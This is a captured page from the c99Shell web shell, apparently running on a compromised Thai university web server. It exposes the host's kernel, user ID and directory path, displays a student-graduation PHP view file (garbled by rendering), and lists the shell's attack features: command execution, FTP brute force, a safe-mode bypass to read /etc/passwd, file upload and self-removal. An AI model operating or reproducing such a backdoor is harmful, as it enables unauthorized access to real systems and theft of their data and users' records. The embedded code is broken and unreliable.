!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_g_showGDSt.php (3.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_cfg 
= (isset($qu_cfg) && $qu_cfg!=NULL) ? $qu_cfg->row() : NULL;
$row_cur = isset($qu_cur) ? $qu_cur->row() : NULL;
$row_tm = isset($qu_tm) ? $qu_tm->row() : NULL;
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
            <div align="center"><br /><span class="h" style="color:<?php echo setValue('cfgFnClErrSpec',$row_cfg);?>">รายชื่อผู้สำเร็จการศึกษา</span>
            <table class="szone">
                <tr>
                    <td><br /></td>
                </tr>
                <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                    <td class="coltd_szone"><span>ชื่อหลักสูตร</span></td>
                    <td><span><?php echo explodeSquare(getval('curName'$row_cur));?></span></td>
                </tr>
                <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                    <td class="coltd_szone"><span>ปีการศึกษาที่จบ</span></td>
                    <td><span><?php echo $stdGraduateY;?></span></td>
                </tr>
                <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                    <td class="coltd_szone"><span>ภาคการศึกษา</span></td>
                    <td><span><?php echo getval('tmCode'$row_tm);?></span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td colspan="2"><table class="headCol">
                        <tr>
                            <th class="seqCol"><span>ลำดับที่</span></th>
                            <th class="stdCodeCol"><span>รหัสประจำตัว</span></th>
                            <th><span>ชื่อ-นามสกุล</span></th>
                            <th class="hourCol"><span>เกียรตินิยม</span></th>
                            <th class="hourCol"><span>วันจบการศึกษา</span></th>
                            <th class="stdCodeCol"><span>สถานะ</span></th>
                        </tr>
<?php
                        $i 
0;
                        
$num_rows count($rs);
                        if (
$num_rows) {
                            foreach (
$rs as $key => $val) {
                                
$row_std $rs[$key]['qu_std']->row();
                                echo 
"<tr onmouseover=\"bgColor='".setValue('cfgBgClSwapTr',$row_cfg)."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td class="seqCol" align="center"><span><?php echo $i+1;?></span></td>
                            <td align="center"><span><?php echo $row_std->stdCode;?></span></td>
                            <td class="indent"><span><?php echo $row_std->prefixName.$row_std->stdName.' '.$row_std->stdSurname;?></span></td>
                            <td align="center"><span><?php echo $rs[$key]['honor'];?></span></td>
                            <td align="center"><span><?php echo fullDate(splitDateDb2($row_std->stdGraduateDate));?></span></td>
                            <td align="center"><span><?php echo $row_std->sstName;?></span></td>
                        </tr>
<?php
                                $i
++;
                            }
                        } else {
?>
                        <tr>
                            <td colspan="6" align="center"><span style="color:<?php echo setValue('cfgFnClErrSpec',$row_cfg);?>">** ไม่ปรากฏรายชื่อผู้สำเร็จการศึกษา **</span></td>
                        </tr>
<?php
                        
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td colspan="2" align="right"><span>รวม <?php echo $num_rows;?> รายการ</span></td>
                </tr>
                <tr>
                    <td><input type="submit" name="back" id="back" value="ย้อนกลับ" onClick='javascript:history.back()' /></td>
                </tr>
            </table></div>
        <br></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.007 ]--